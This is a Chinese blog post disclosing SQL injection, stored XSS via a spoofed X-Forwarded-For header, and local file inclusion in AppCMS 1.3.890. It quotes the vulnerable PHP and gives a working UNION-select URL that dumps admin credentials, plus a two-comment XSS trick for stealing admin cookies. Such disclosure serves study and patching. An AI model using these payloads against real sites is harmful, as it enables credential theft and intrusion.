AppCMS注入及评论xss漏洞

AppCMS注入及评论xss漏洞

近期在法客上发表的文章,在博客里做个整理。

0x01 漏洞演示

Appcms是一款开源cms系统,适合做手机应用类的网站。官网地址:http://www.appcms.cc/ 这是默认首页,看起来挺不错的:

Sql注入,当时官网演示站的管理账号密码(现在官方已经补了):

xss打后台:

0x02 SQL注入原理

下载最新版本appcms_1.3.890。 查看index.php,有一段似乎是限制了搜索词的代码:

if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
}

所以当我们在首页搜索含有'的关键词时会有提示:

但我们往前看,却发现了一段输出ajax的代码,这时候并没有过滤……所以注入由此产生:

//ajax请求联想关键字
if (trim($_GET['q']) != '' && !isset($_GET['tpl'])) {
$str = '';
$sql = "SELECT app_id,app_title,app_down FROM " . TB_PREFIX . "app_list WHERE app_title LIKE '%" . trim($_GET['q']) . "%' LIMIT 15";
$app_list = $dbm ->query($sql);
if (count($app_list['list']) > 0) {
  foreach ($app_list['list'] as $k => $v){
    $app_list['list'][$k]['app_title'] = helper :: utf8_substr($v['app_title'], 0, 20);
  }
  echo json_encode($app_list['list']);
  exit;
} else {
  exit;
}
}

_GET['q']非空且_GET['tpl']为空时进入这个IF,因为刚才我们搜索的时候参数是这样:?tpl=search&q='sd,所以才没有进入这个if。

我们看到这个if语句中,直接把trim($_GET[‘q’])带入了select语句,造成了注入。

给出利用exp:

index.php?q=xxoo'union select 1,uname,upass from appcms_admin_list where uid like '

不过爆出了管理员密码也有点鸡肋,因为这个cms强制让用户修改后台地址。所以,我们需要想点方法弄到后台地址。于是,下面这个xss由此产生。

0x03 XSS原理

comment.php 获得IP地址,并插入数据库:

/**
 * 获取客户端IP地址
*/

public static function getip() {
    $onlineip = '';
    if (getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
      $onlineip = getenv('HTTP_CLIENT_IP');
    } elseif (getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
      $onlineip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif (getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
      $onlineip = getenv('REMOTE_ADDR');
    } elseif (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
      $onlineip = $_SERVER['REMOTE_ADDR'];
    }
    return $onlineip;
}

当HTTP_X_FORWARDED_FOR存在时获取的IP就是它,但是HTTP_X_FORWARDED_FOR是可以伪造的,所以造成了XSS代码的注入。

但在数据库中,ip这个字段限制了字数,只有20字,所以绕过成为了难点。

所以我们来构造。

首先留一条言,内容是我们要写的xss代码,我这里就简单的弹出窗口:

发表的时候抓包,修改X-FORWARDED-FOR,写半个闭合的script:

然后刷新页面后再次写一条留言,内容就无所谓了,仍然是抓包,写前半个script标签:

这时任务就算完成了,实战的话就坐等接收cookie和后台地址了。

我们可以来到管理员页面 - 查看评论,可以看到窗口已经弹了:

我们看看源码:

看懂了吗,两次插入的内容正好闭合了,中间用注释符注释掉,然后第一次插入的评论内容就是我们的javascript代码,而这个代码的两遍用注释符再闭合掉就可以了。

我们运用两次留言成功构造了一个xss,绕过了最大长度为20的限制。

0x04 LFI

除了上面两个已经成功的漏洞以外,index.php里还存在一个本地文件包含,不过需要进行截断。

if (substr($tpl, strlen($tpl)-4, 4) == '.php') {
  $tmp_file = '/templates/' . $from_mobile . '/' . $tpl;
} else {
  $tmp_file = '/templates/' . $from_mobile . '/' . $tpl . '.php';
} 
if (!file_exists(dirname(__FILE__) . $tmp_file)) die('模板页面不存在' . $tmp_file);
  require(dirname(__FILE__) . $tmp_file);

判断后缀是不是php,如果不是就加上.php,然后判断文件是否存在,进行包含。并没有任何过滤。其中最初的这个tpl就是_GET['tpl']。

官网测试:

成功包含了数据库配置文件,因为重复包含,所以出错了。

我试过截断包含一些日志文件或其他文件( 可惜前台不能上传 ),但不知道为什么都没有成功,如果大家有什么好思路也可以跟我说说。

大礼包到此结束,希望大家能学到知识,而不是又得到了很多服务器。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • eval长度限制绕过 && PHP5.6新特性

    昨天晚上 @roker 在小密圈里问了一个问题,就是eval(xxx),xxx长度限制为16个字符,而且不能用eval或assert,怎么执行命令。

    phith0n
  • 关于lnmp目录禁止执行的绕过与正确方法

    于是我详细地把文章看了一遍,文章比较基础但也不失为一个引导新手的一个方法。但其中对于禁止执行的方式,我就不敢苟同了。在某种配置下,这个方法是能够很容易被绕过的。

    phith0n
  • wecenter反序列化造成任意SQL语句执行

    wecenter是一款社交CMS,界面清新,功能简介,受到很多人的喜爱。wecenter基于Zend开发,安全性虽不说很顽固,但较少存在低级的SQL注入等漏洞,...

    phith0n
  • BJD WEB

    我们可以将POST提交的username后面的单引号转义一下,通过转义使得其和password前面的单引号闭合,将passwod后面的逃逸出来。

    ly0n
  • 编写高质量代码改善C#程序的157个建议[IEnumerable<T>和IQueryable<T>、LINQ避免迭代、LINQ替代迭代]

    本文已更新至http://www.cnblogs.com/aehyok/p/3624579.html 。本文主要学习记录以下内容:

    aehyok
  • 先行者计划--1107微课 《什么是Vuex?》| 文字简版

    vuex是什么东西? 官网对Vuex的定义,"Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。" 恩,从这句话可以看出,它应该是一种编写js的...

    web前端教室
  • AngularJS数据源的多种获取方式汇总

    诸位看完转发一下,促进感兴趣的同学,共同交流。 在AngularJS中获取数据源的方式有很多种,本文给大家整理几种获取数据源的方式,对angularjs获取数据...

    前朝楚水
  • 3.4 大宗商品和汇率

    lease rate = storage cost - convenience yield

    rocket
  • 百度智能运维的技术演进之路

    随着大数据、人工智能、云计算技术的日渐成熟和飞速发展,传统的运维技术和解决方案已经不能满足需求,智能运维已成为运维的热点领域。同时,为了满足大流量、用户高质量体...

    用户2591787
  • OCP-052考试题库汇总(54)-CUUG内部解答版

    USER1 grants SELECT and UPDATE privileges on USER1.EMP to USER2。

    用户5892232

扫码关注云+社区

领取腾讯云代金券